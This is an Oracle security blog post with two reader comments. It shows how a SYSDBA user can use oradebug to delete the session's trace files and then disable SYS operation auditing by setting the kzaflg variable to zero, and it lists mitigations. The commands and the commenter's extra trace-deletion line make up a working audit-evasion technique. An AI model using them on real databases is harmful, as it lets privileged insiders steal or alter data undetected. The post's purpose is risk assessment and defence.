Auditing an Oracle database for security issues is very important. PeteFinnigan.com provides all of the information and tools that you will need Click here for details of PeteFinnigan.com Limited's detailed Oracle database security audit service Click here for details of PeteFinnigan.com Limited's Oracle Security Training Courses
There are 69 visitors online    
Cookie Policy:We only use essential cookies on small sections of this website. For details see here.

Pete Finnigan's Oracle security weblog


Home » Archives » September 2011 » More oradebug

[Previous entry: "oradebug"] [Next entry: "Oracle Security Training in Berlin ... and more ..."]

More oradebug

September 21st, 2011 by Pete


Alex commented on my post about "oradebug" about the select statement on x$ksmfsv which holds a list of all fixed variables amongst other things and joined it to x$ksmmem to get the absolute address in the SGA to check the value of the audit_sys_operations flag but this is not needed as the dumpvar command of oradebug can be used to get the value without any SQL. I also had a little play with the oradebug "call" command this evening after working and decided to think about Laszlo's idea of monitoring the generated trace files to see if oradebug is used.

Whilst we cannot bypass at least two calls to oradebug (the setting of the PID and delete of the trace) that will end up in a trace file we can ensure that evidence generated by oradebug is not generated so that it cannot be monitored - I am thinking like a hacker now not a protector because i want to understand the size of the issue.

So we can start a session:

SQL> oradebug setmypid
Statement processed.
SQL> oradebug tracefile_name
c:\app\pete\diag\rdbms\ora11gr2\ora11gr2\trace\ora11gr2_ora_3412.trc
SQL> oradebug close_trace
Statement processed.
SQL> oradebug call system "del c:\app\pete\diag\rdbms\ora11gr2\ora11gr2\trace\ora11gr2_ora_3412.trc"
Function returned 0
SQL>

This now has removed the trace so we can turn audit off

SQL> oradebug dumpvar sga kzaflg
ub2 kzaflg_ [6995874, 6995878) = 00000001
SQL> oradebug setvar sga kzaflg 0
BEFORE: [6995874, 6995878) = 00000001
AFTER: [6995874, 6995878) = 00000000
SQL> oradebug dumpvar sga kzaflg
ub2 kzaflg_ [6995874, 6995878) = 00000000
SQL>

Now you can steal data, change data or whatever and nothing is recorded to trace including the above commands. This has utilised extra oradebug commands, "oradebug tracefile_name", "oradebug call" and potentially you could also use "oradebug flush" to make sure that the server does not retain any output and write it to the next session.

This means that whilst Laszlo's tool may trap the initial "oradebug setmypdi" and the "oradebug tracefile_name" and "oradebug call" it cannot trap any subsequent calls to turn off audit or anything else that the attacker may do with oradebug and of course SYSDBA trace is off.

The only solutions seem to be:

1) disable oradebug - this needs Oracles help but maybe there is an undocumented way to unlink the interface?
2) audit is not possible; trace is not reliable as stated above
3) stop any user from having SYSDBA apart from SYS
4) stop operating system users from having OSDBA apart from "oracle"
5) stop access to the server to prevent use of OSDBA/SYSDBA - not practical for everything
6) turn remote_login_passwordfile off to prevent remote SYSDBA via the password file
7) set an impossible password for SYS and only release it when needed.
8) force connections as SYSDBA to be remote so that network logging may be possible to capture oradebug commands
9) use keystroke loggers to capture what any OS user does as "oracle" and potentially SYSDBA

None of this is perfect and in lots of sites probably un-workable so a solution is needed from Oracle to secure oradebug. I think simply stopping audit from being disabled is probably not enough as the cat is out of the bag and other things will be done instead - like removing audit or trace with delete commands......

There has been 2 Comments posted on this article


October 14th, 2011 at 08:38 am

Dirk Nachbar says:

Hi Pete,

cool stuff smile

In order to remove all footprints you should also remove the TRM file:

oradebug call system "del c:\app\pete\diag\rdbms\ora11gr2\ora11gr2\trace\ora11gr2_ora_3412.trm"

Cheers

Dirk



October 14th, 2011 at 11:23 am

Pete says:

Hi Dirk,

Yes i was aware of that; the example was really to show the method rather than detail a complete "clean up job"

Thanks for your comment.

cheers

Pete


September 2011
SMTWTFS
    123
45678910
11121314151617
18192021222324
252627282930 

This is the weblog for Pete Finnigan. Pete works in the area of Oracle security and he specialises in auditing Oracle databases for security issues. This weblog is aimed squarely at those interested in the security of their Oracle databases.

Weblog Home
Weblog Archives


Home
Oracle Security Tools page
Oracle security papers
Oracle Security alerts

Web Development
SQL Server Security

RSS 1.0 FEED
RSS 2.0 FEED
Atom 0.3 FEED
Powered by gm-rss 2.0.0


Valid XHTML 1.0!